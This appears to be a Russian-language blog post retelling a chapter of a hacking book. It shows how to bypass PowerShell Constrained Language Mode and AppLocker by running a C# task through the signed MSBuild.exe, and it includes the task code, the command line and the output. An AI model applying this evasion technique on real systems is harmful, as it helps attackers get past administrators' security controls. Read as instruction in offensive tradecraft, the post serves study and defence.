Всем привет.
Как известно Windows имеет один из механизмов защиты для Powershell - Constrained Language mode (Режим с Ограничением языка) который запрещает ряд специальных типов и объектов и функций .NET, типа: Add-Type, New-Object, классов .NET [console] и многого иного.
Режим ConstrainedLanguage лимитирует PowerShell нормированным подмножеством одобренных и безопасных свойств. Команда New-Object несомненно не относится к подобным безопасным функциональным возможностям, поскольку она определяет объекты .NET или COM, которые расширяют богатство PowerShell для взаимодействия с внутренними компонентами Windows.
Component Object Model (COM, модель компонентных объектов) это разработанный Microsoft стандарт для управления взаимодействием между процессами. Такая программа как Internet Explorer способна зарегистрировать некий объект COM, который определяет подобные FetchURL, DownloadFile, BrowseToPage и тому подобные методы. Затем некий сценарий Visual Basic способен конкретизировать такой объект COM и вызвать его методы для какой-либо необходимой цели. То же самое верно и для сценария Python, который понимает COM, сценария PowerShell, программы C++ и так далее. Внутреннее устройство COM несколько сложнее того, что следует из данного пояснения, но основная суть в том, что цель COM именно и заключается в наличии унифицированного способа вызова удалённых процедур, публикуемых прочими программами. Вы можете догадаться почему создание COM-объектов запрещено в режиме с Ограничениями языка PowerShell, ибо они делают возможным взаимодействие с внутренними компонентами Windows, а в конечном итоге, избегать ограничений.
.NET во многом следует стандарту COM и подменяет COM в предоставлении полной инфраструктуры для разработки, сборки и запуска приложений в Windows. В точности как и с объектами CON, сы можем применять типы и классы .NET для активации произвольных API Windows для считывания файлов, создания процессов, отправки сетевых пакетов и многого иного. Все допускающий такой низкоуровневый доступ свойства .NET, таким образом, блокируются режимом с Ограничениями языка PowerShell, включая интенсивно применяемую команду add-type, которая способна определять новые классы из естественного кода C#.
Тем самым, большинство наступательных сценариев PowerShell рынка, которые обязательно полагаются на такие функциональные возможности, превращаются в почти бесполезные по причине режима с ConstrainedLanguage, настроек безопасности, представленных в механизме исполнения PowerShell версии 5 (он же Windows Management Framework версии 5, или WMF 5).
Поможет ли нам MSBuild?
Одной из мощных уловок, которым мы способны воспользоваться в своём затруднительном случае, вовлекает MSBuild, платформу ядра, которая компилирует и запускает приложения .NET MSBuild - это подписанный Microsoft исполняемый файл, расположенный во вложенной папке доверенного каталога (C:\Windows), точное расположение которого зависит от версии .NET Framework нашей целевой системы. Для версии 4, к примеру, это C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe. Если вы не обнаружите его там, проверьте иные вложенные каталоги в папке Microsoft.NET, и вы обязательно его отыщите.
Предполагая что данный исполняемый файл располагается в данной папке C:\Windows, AppLocker позволяет ему запускаться под устанавливаемыми по умолчанию правилами. А поскольку MSBuild безмерно полезный инструмент, на постоянной основе применяемый разработчиками для своих возможностей написания сценариев, мало вероятно что администраторы заблокируют его по всем своим серверам - в особенности Strat Jumbo, в той фирме, разработчики которой полагаются на такие инструменты. И в самом деле, когда мы вводим упомянутый выше путь MSBuild, мы видим, что способны свободно запускать эту утилиту из диалогового окна Open File, как это отображено на Рисунке 5.10, хотя он и быстро пропадёт, ибо завершается ошибкой, когда ему не предоставлен надлежащий файл на входе.
Теперь, когда нам известно что мы имеем возможность запуска MSBuild, нам потребуется собрать нечто для исполнения им. MSBuild исполняет проекты, написанные в XML, которые объявляют необходимые задачи и этапы, за которыми производится компиляция исполняемого файла: какие файлы скопировать, какой исходный код вложить, какие DLL скомпоновать и так далее. Наш проект будет содержать собственно код нашей обёртки PowerShell для компиляции. В случае успеха, MSBuild автоматически загрузит и запустит этот исполняемый файл (psh.xml), при этом обходя правила AppLocker.
public class PsCommand : Task, ITask
{
public override bool Execute() {
Console.WriteLine("Executing PS commands:");
// Создание конвейера PowerShell: command1 | command2 | ...
PowerShell Ps_instance = PowerShell.Create();
// Порядок команд в нашем конвейере
Ps_instance.AddScript("$PSVersionTable.PSVersion");
Ps_instance.AddStatement();
Ps_instance.AddScript("$ExecutionContext.SessionState.LanguageMode");
Ps_instance.AddStatement();
Ps_instance.AddScript("Get-ExecutionPolicy");
Ps_instance.AddStatement();
foreach (string str in Ps_instance.Invoke<string>()){
Console.WriteLine(str);
}
Console.WriteLine("Press any key to exit...");
Console.ReadKey();
return true;
} // Конец метода Execute
} // Конец класса PsCommand
Мы пользуемся своей функцией AddCommand для одиночных естественных командлетов PowerShell (get-process, start-service и тому подобных), а также мы запускаем AddScript для исполнения блоков сценариев и внешний исполняемых файлов, либо соединения в цепочку множества командлетов, а AddStatement() эквивалентен разделителю ";".
Запуск на выполнение маневра выглядит так:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe psh.xml
Microsoft (R) Build Engine version 4.8.4084.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 16.02.2023 16:46:20.
Executing PS commands:
5.1.19041.2364
FullLanguage
Restricted
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
326 30 6864 13736 3800 0 app_updater
432 26 12024 34524 1,44 11332 3 ApplicationFrameHost
232 12 2372 11080 6872 3 atieclxx
164 8 1424 6284 1960 0 atiesrxx
606 43 28956 2104 0,56 8068 3 CalculatorApp
875 59 71812 27928 2,77 11868 3 CCC
Вот такой вот фокус с MSBuild. Удачи.
По материалам книги Спарка Флоу "Как заниматься взломом словно легенда. Прорываемся в Windows", Copyright (С) 2022 Sparc Flow, No Starch Press, Inc.
No comments:
Post a Comment
А что вы думаете по этому поводу?